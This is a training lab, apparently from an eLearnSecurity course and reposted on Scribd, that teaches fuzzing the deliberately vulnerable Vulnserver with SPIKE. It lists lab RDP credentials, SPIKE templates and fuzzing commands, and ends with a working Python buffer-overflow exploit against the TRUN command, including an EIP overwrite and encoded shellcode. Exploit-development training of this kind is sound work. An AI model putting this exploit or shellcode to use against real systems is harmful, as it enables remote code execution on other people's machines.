0% found this document useful (0 votes)
53 views

Lab17 Fuzzing Windows Software

Uploaded by

Saw Gyi
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
53 views

Lab17 Fuzzing Windows Software

Uploaded by

Saw Gyi
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 21

Fuzzing Windows

Software

LAB 17

© 2019 Caendra Inc. | Hera for XDS | Fuzzing Windows Software 1


SCENARIO
Your red team manager keeps challenging you, to further develop your exploit development
skills. This time he tasked you with automating payload generation and crash identification.
A Windows 7 machine has been set up for you. Vulnserver is in this machine’s Desktop and
it will be the target of fuzzing activities. Your challenge is to identify if there is a vulnerability
in vulnserver’s TRUN command, through fuzzing.

You can connect to the lab machine via remote desktop. The target IP is 172.16.172.156

The remote desktop credentials are the following.

Username: eLS
Password: eLSPwdAdmin1602

In this lab’s context, we chose to run vulnserver on port 9999 (vulnserver.exe 9999)

The remote machine doesn’t feature any protection.

Note: In case of choppy RDP performance, disconnect from the VPN, edit the latest .ovpn file
and switch the protocol from udp to tcp. Then, re-connect to the lab VPN using the edited
.ovpn file.

GOALS
• Automate payload generation and vulnerability identification

WHAT YOU WILL LEARN

© 2019 Caendra Inc. | Hera for XDS | Fuzzing Windows Software 2


• Utilizing fuzzing for effective vulnerability identification

RECOMMENDED TOOLS
• Immunity Debugger
• Mona.py
• Spike
• Wireshark
• Kali linux

NETWORK CONFIGURATION &


CREDENTIALS
• Penetration tester’s Subnet: 172.16.172.0/24

• Vulnerable machine: 172.16.172.156

• Connection Type: Remote Desktop

Username: eLS
Password: eLSPwdAdmin1602

SPIKE FUNDAMENTALS
According to OWASP, Fuzz testing or Fuzzing is a Black Box software testing technique,
which basically consists in finding implementation bugs using malformed/semi-malformed
data injection in an automated fashion. Fuzzing, when performed by exploit
developers/security researchers etc., focuses on discovering bugs that could lead to code

© 2019 Caendra Inc. | Hera for XDS | Fuzzing Windows Software 3


execution. There are numerous fuzzers available, but in the context of this course we will
focus on SPIKE.

SPIKE is a protocol fuzzer creation kit. It provides an API that allows a user to create their
own fuzzers for network based protocols using the C++ programming language. The tool
defines a number of primitives that it makes available to C coders, which allows it to
construct fuzzed messages called “SPIKES” that can be sent to a network service …

That being said, you don’t have to be capable at C programming to use SPIKE. SPIKE comes
with a scripting capability and is also accompanied by some useful command line tools
which can act as interpreters to text files containing SPIKE primitives. Find below a quick
overview/description of SPIKE.
http://www.immunitysec.com/downloads/usingspike3.ppt

Credits to: Stephen Bradshaw for the SPIKE introduction below.

What are some of the useful features of SPIKE?


✓ SPIKE has a large number of in-built strings to use for fuzzing that are very
effective at producing a wide variety of errors in programs. SPIKE does a lot of the
work for you in determining the values that can best be sent to an application to
cause it to fail in a useful way. This means you don’t have to come up with these
values yourself, and you benefit from the considerable experience of the programs
author in choosing good fuzzing strings.
✓ SPIKE has a concept of “blocks”, which can be used to calculate the size of
specified sections within the SPIKES that are generated by the SPIKE code. These
size values can then be inserted into the SPIKES themselves, in a variety of
different formats. This is a real benefit when fuzzing protocols that require
accurate size values to be specified for particular fields within a message, and
saves you the effort of doing these calculations yourself.
✓ SPIKE can support a number of different data types that are commonly used in
network protocols, and can accept them in a variety of different formats that allow
easy cutting and pasting from many different programs.

© 2019 Caendra Inc. | Hera for XDS | Fuzzing Windows Software 4


SPIKE Scripting
As previously mentioned, SPIKE also includes a basic scripting capability that allows you to
use SPIKE primitives to fuzz applications without having to code your own SPIKE fuzzer in
C. A variety of different interpreters are available with the SPIKE distribution that allow
you to specify certain relevant subsets of these SPIKE primitives to send against various
types of network applications. In order to simplify things for the rest of this article, I am
going to refer to this subset of SPIKE primitives that can be used in SPIKE scripts as
“commands”.

In the case of TCP based server applications, we can make use of this scripting capability by
writing SPIKE commands into .spk script files, and running them using the TCP SPIKE
script interpreter generic_send_tcp (pre-installed on Kali Linux), which will send the
specified SPIKE at a particular IP address and TCP port. There is also a generic_send_udp,
which will do something similar, however within this interpreter the SPIKES will be sent
over UDP.

The generic_send_tcp interpreter (which we will be using to fuzz our application), if run
without any command line parameters shows the following.

Hopefully the first three required command line options are self-explanatory, with
parameters one and two defining the host and TCP port to connect to for fuzzing, and the
third parameter defining the name of the SPIKE script file. Parameters 4 and 5 may require
some more explanation. These parameters, SKIPVAR and SKIPSTR, essentially allow you to
jump into the middle of the fuzzing session defined by a SPIKE script.

Within a SPIKE script, you may specify “s_string_variables”, which are the commands used
to insert the actual fuzzed strings into each SPIKE that you send. If you use more than one
of these “s_string_variables” in your script, you can skip using the earlier instances of
“s_string_variables” by setting an appropriate value for SKIPVAR. For example, if you

© 2019 Caendra Inc. | Hera for XDS | Fuzzing Windows Software 5


include three “s_string_variables” in your SPIKE script, and you want to ignore the first two
variables and only fuzz the third, you would set SKIPVAR to 2 (the numbering of the
variables starts counting upwards from 0, so the third variable is referred to by the number
2).

Each of the “s_string_variables” also has an array of different fuzz string values inbuilt into
SPIKE that it will iterate through within a SPIKE fuzzing session. If you want to skip the
first 10 of these strings, and start fuzzing at string 11, you can set SKIPSTR to 10 (again,
counting starts from 0).

When you use generic_send_tcp, it will output information to the command line about
which variable and string it is currently testing, so if a SPIKE session gets interrupted and
you need to continue it later on you can do so with the use of these two command line
parameters.

To start a fuzzing session from the beginning, just use “0 0” for these parameters, so to start
a fuzzing session against host 192.168.1.101 on port 9999 using script file “test.spk” from
the beginning, use the following command line

root@kali:~# generic_send_tcp 192.168.56.101 9999 test.spk 0

SPIKE Scripting Commands


To write a SPIKE script for our fuzzing exercise, we first need to know what some of the
available commands are and what they do.

If you want to hunt through the SPIKE distribution directory, the available primitives that
we can use as commands in our script file can be discovered by examining some of the
example .spk files as well as the SPIKE header file spike.h. The spike.h file will list the
available primitives (commands), and the .spk files will provide examples of how those
commands can be used.

© 2019 Caendra Inc. | Hera for XDS | Fuzzing Windows Software 6


Keep in mind that the SPIKE scripting capability will only support a subset of the primitives
in spike.h – the scripting “interpreter” program performs the work of creating the “SPIKE”
and making the network connection, so you can only use the commands that define the
content of the SPIKE itself in the scripts.

To save you the trouble of hunting through those files, we will list some of the more useful
SPIKE primitives for scripting below. The spike.h file, being written in C, lists each of the
SPIKE commands in C syntax, using C data types, but for the benefit of those unfamiliar
with C syntax I am going to specify the commands using an “example” format that you can
more easily reproduce when writing your scripts. The “//” notation is used in C to
designate line-based comments (everything after that point is ignored by the compiler), so
I have used this syntax below to provide additional explanatory detail for each of the
commands. You can leave these comments in when you create your SPIKE scripts, or add
your own comments, and this text will be ignored by the SPIKE interpreter.

The commands have been broken below into a number of high-level categories relating to
strings, binary data, blocks and other useful functions.

Strings

The string commands provide a way of adding ASCII character data into your SPIKES. Also
included within the string commands is the s_string_variable command, one of the most
important commands within SPIKE as it actually allows you to add fuzz strings to your
SPIKE.

• s_string(“string”); // simply prints the string “string” as part of your “SPIKE”


• s_string_repeat(“string”,200); // repeats the string “string” 200 times
• s_string_variable(“string”); // inserts a fuzzed string into your “SPIKE”. The string
“string” will be used for the first iteration of this variable, as well as for any SPIKES
where other s_string_variables are being iterated

Binary Data

© 2019 Caendra Inc. | Hera for XDS | Fuzzing Windows Software 7


The binary commands provide a way of adding binary data to your SPIKES. They support a
wide variety of ways to specify the binary data.

• s_binary(“\\x41”); // inserts binary representation of hex 0x41 = ASCII “A”


• s_binary_repeat(“\\x41”, 200); //inserts binary representation of 0x41 200 times

For the binary commands in SPIKE, various other methods for specifying the same data are
also available. To output the same hex character as shown above, we could use “41” or
“0x41” as well, and we can also mix and match these values, (e.g. “410×41\\x42” to output
ASCII “AAB”). Any added white space is also ignored. All of this combines to allows easy
cutting and pasting from a variety of different applications that represent data in Hex
format, such as packet capture tools, debuggers, etc.

Defining Blocks

Block defining commands allow you to specify the start and end points of a named block
within a SPIKE script. This allows you to define the size of those sections of data in your
SPIKES using block size commands.

• s_block_start(“block1”); // defines the start of block “block1”


• s_block_end(“block1”); // defines the end of block “block1”

Block Sizes

Block size commands allow you to insert the size of data inside a named block inside the
SPIKES generated by your script, using a variety of different size formats.

• s_blocksize_string(“block1”, 2); // adds a string 2 characters long to the SPIKE that


represents the size of block “block1”
• s_binary_block_size_byte(“block1”); //adds a 1 byte value to the SPIKE that
represents the size of block “block1”

These are just two examples from the many ways of how block size can be added to a
SPIKE. There are other methods too, that can allow you to represent block size in a large

© 2019 Caendra Inc. | Hera for XDS | Fuzzing Windows Software 8


variety of formats, and some that even allow you to add preset values to the block size
before it is

To see some of the other options, simply perform a grep on the spike.h file in the SPIKE src
directory for the strings “block_size” or “blocksize”.

Other Useful Commands

Other useful commands are those that don’t fit into any of the other categories previously
mentioned.

• s_read_packet(); // Reads and prints to screen data received from the server
• s_readline(); // Reads a single line of input from the server

You can also use general C language functions within SPIKE scripts, to give you additional
scripting capabilities. One particularly useful function is printf(), which can be used to
output data to the terminal, which can give our scripts more informative console output.

An Example SPIKE Script

The following is an example SPIKE script that could be used to fuzz the inputvar variable in
php script testme.php via a POST request to testserver.example.com.

s_string("POST /testme.php HTTP/1.1\r\n");

s_string("Host: testserver.example.com\r\n");

s_string("Content-Length: ");

s_blocksize_string("block1", 5);

s_string("\r\nConnection: close\r\n\r\n");

s_block_start("block1");

© 2019 Caendra Inc. | Hera for XDS | Fuzzing Windows Software 9


s_string("inputvar=");

s_string_variable("inputval");

s_block_end("block1");

This script essentially specifies a message like the below, where [fuzz_string] represents
the location where the SPIKE fuzz strings will be inserted into the message, and
[size_of_data] represents the size of the data section of the POST request, which contains
the fixed string “inputvar=” and the variable data of the fuzz string. This size field will be
automatically updated as the fuzz string changes.

POST /testme.php HTTP/1.1

Host: testserver.example.com

Content-Length: [size_of_data]

Connection: close

inputvar=[fuzz_string]

TASKS
TASK 1: INTERACT WITH THE REMOTE VULNSERVER
First, log in to the remote machine (172.16.172.156) and start vulnserver (vulnserver.exe
9999)

Back to your attacking machine, use netcat to interact with the remote vulnserver. Try to
identify its commands and their parameters.

© 2019 Caendra Inc. | Hera for XDS | Fuzzing Windows Software 10


TASK 2: CREATE SPIKE TEMPLATES
Create SPIKE templates, that will instruct SPIKE to test certain commands/parameters.
Specifically, we would like to send fuzzed strings in the place of a supported command, and
as parameters to supported commands that do, and do not seem to support parameters.

TASK 3: SEND PACKAGES TO VULNSERVER WITH SPIKE


Spike can transmit both TCP and UDP packages. The generic_send_tcp command (pre-
installed on Kali Linux) is used to transmit TCP packages.

generic_send_tcp <IP address> <port number> <template name> <SKIPVAR> <SKIPSTR>

In this lab’s context SKIPVAR will always be zero.

SKIPSTR is used when we want to commence fuzzing from a specific string onwards. If
SKIPSTR is zero, then all available strings will be transmitted and tested.

TASK 4: MONITOR VULNSERVER WITH IMMUNITY AND


CREATE A WORKING EXPLOIT IN CASE OF AN
EXPLOITABLE CRASH
Use Immunity debugger to monitor vulnserver’s state. In case of a crash, investigate if this
crash can be exploited for command execution and create a working POC exploit.

© 2019 Caendra Inc. | Hera for XDS | Fuzzing Windows Software 11


SOLUTIONS

© 2019 Caendra Inc. | Hera for XDS | Fuzzing Windows Software 12


Below, you can find solutions for each task. Remember though that you can follow your
own strategy (which may be different from the one explained in the following lab).

TASK 1: INTERACT WITH THE REMOTE VULNSERVER


Once vulnserver is started, let’s interact with it using netcat.

From the above, we conclude that:

• If commands that support parameters are invoked without one, we get an UKNOWN
COMMAND response

© 2019 Caendra Inc. | Hera for XDS | Fuzzing Windows Software 13


• Commands are case sensitive
• Incorrect/unsupported commands will result in an UNKNOWN COMMAND response
• Random parameters seem to be accepted and processed

TASK 2: CREATE SPIKE TEMPLATES


As mentioned in the task’s description, let’s instruct SPIKE regarding which commands
and/or parameters we want it to test, through SPIKE templates. A generic template we can
work on is the following.

s_readline(); //print received line from server


s_string_variable("COMMAND"); //send fuzzed string

For example, to fuzz the TRUN command, we can use the below template (let’s name it
trun.spk).

s_readline();
s_string("TRUN ");
s_string_variable("COMMAND");

TASK 3: SEND PACKAGES TO VULNSERVER WITH SPIKE


To actually start fuzzing vulnserver’s TRUN command, we will utilize generic_send_tcp
(pre-installed on Kali Linux), as follows (trun.spk can be found on Task 2).

generic_send_tcp 172.16.172.156 9999 trun.spk 0 0

We notice that packets are successfully transmitted and vulnserver crashes shortly after we
began our fuzzing activities.

© 2019 Caendra Inc. | Hera for XDS | Fuzzing Windows Software 14


© 2019 Caendra Inc. | Hera for XDS | Fuzzing Windows Software 15
TASK 4: MONITOR VULNSERVER WITH IMMUNITY AND
CREATE A WORKING EXPLOIT IN CASE OF AN
EXPLOITABLE CRASH
Let’s attach Immunity to monitor vulnserver closely. A crash may result in EIP overwrite…

Don’t forget to press the start button (or F9) so that vulnserver resumes its operations.

Let’s also restart our previous fuzzing activities.

It looks like one of the transmitted “payloads” overwrote the EIP.

© 2019 Caendra Inc. | Hera for XDS | Fuzzing Windows Software 16


On our attacking machine, there is no clear indication of which message/packet caused the
crash. Let’s restart the whole process again (attach and fuzz), but this time sniff the passing
traffic with Wireshark, to learn more about the crash.

We should follow the TCP conversations to learn more about the crash. We are specifically
looking for conversations that don’t include “TRUN COMPLETE”. If the remote server
crashed, “TRUN COMPLETE” will be missing from the conversation.

© 2019 Caendra Inc. | Hera for XDS | Fuzzing Windows Software 17


The packet below looks interesting.

© 2019 Caendra Inc. | Hera for XDS | Fuzzing Windows Software 18


There is no “TRUN COMPLETE” at the end.

Note that the crash took place at item "0:1". If we want to keep searching for other crashes,
we can continue where we left off, as follows.

generic_send_tcp 172.16.172.156 9999 trun.spk 0 3

© 2019 Caendra Inc. | Hera for XDS | Fuzzing Windows Software 19


Now that we know that the TRUN command is vulnerable, we can follow the traditional stack
overflow exploitation approach to identify the exact offset to overwrite EIP and then redirect
the execution flow to our supplied buffer/shellcode. Be reminded that the remote machine
doesn’t feature any protection.

Find below a working POC exploit.

#!/usr/bin/python
import socket
server = '172.16.172.156'
sport = 9999

prefix = 'A' * 2006


eip = '\xaf\x11\x50\x62'
nopsled = '\x90' * 16
exploit = ("\xda\xc8\xbf\x84\xb4\x10\xb8\xd9\x74\x24\xf4\x5d\x33\xc9\xb1"
"\x31\x31\x7d\x18\x03\x7d\x18\x83\xc5\x80\x56\xe5\x44\x60\x14"
"\x06\xb5\x70\x79\x8e\x50\x41\xb9\xf4\x11\xf1\x09\x7e\x77\xfd"
"\xe2\xd2\x6c\x76\x86\xfa\x83\x3f\x2d\xdd\xaa\xc0\x1e\x1d\xac"
"\x42\x5d\x72\x0e\x7b\xae\x87\x4f\xbc\xd3\x6a\x1d\x15\x9f\xd9"
"\xb2\x12\xd5\xe1\x39\x68\xfb\x61\xdd\x38\xfa\x40\x70\x33\xa5"
"\x42\x72\x90\xdd\xca\x6c\xf5\xd8\x85\x07\xcd\x97\x17\xce\x1c"
"\x57\xbb\x2f\x91\xaa\xc5\x68\x15\x55\xb0\x80\x66\xe8\xc3\x56"
"\x15\x36\x41\x4d\xbd\xbd\xf1\xa9\x3c\x11\x67\x39\x32\xde\xe3"
"\x65\x56\xe1\x20\x1e\x62\x6a\xc7\xf1\xe3\x28\xec\xd5\xa8\xeb"
"\x8d\x4c\x14\x5d\xb1\x8f\xf7\x02\x17\xdb\x15\x56\x2a\x86\x73"
"\xa9\xb8\xbc\x31\xa9\xc2\xbe\x65\xc2\xf3\x35\xea\x95\x0b\x9c"
"\x4f\x69\x46\xbd\xf9\xe2\x0f\x57\xb8\x6e\xb0\x8d\xfe\x96\x33"
"\x24\x7e\x6d\x2b\x4d\x7b\x29\xeb\xbd\xf1\x22\x9e\xc1\xa6\x43"
"\x8b\xa1\x29\xd0\x57\x08\xcc\x50\xfd\x54")
padding = 'F' * (3000 - 2006 - 4 - 16 - len(exploit))
attack = prefix + eip + nopsled + exploit + padding

© 2019 Caendra Inc. | Hera for XDS | Fuzzing Windows Software 20


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending attack to TRUN . with length ", len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

© 2019 Caendra Inc. | Hera for XDS | Fuzzing Windows Software 21

You might also like